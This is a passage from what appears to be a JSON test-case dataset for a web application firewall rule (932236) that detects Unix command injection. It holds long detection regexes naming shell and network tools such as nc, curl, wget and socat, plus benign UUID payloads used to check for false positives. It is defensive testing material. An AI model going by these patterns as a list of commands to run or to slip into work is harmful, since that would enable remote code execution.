|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "Block execution of CrowdSec cscli" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "uuid=dfc987c2-72e2-4a8e-ad98-e0bf1bc3a01c\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\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)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t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))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "False positive with UUID" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "uuid=identity\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": 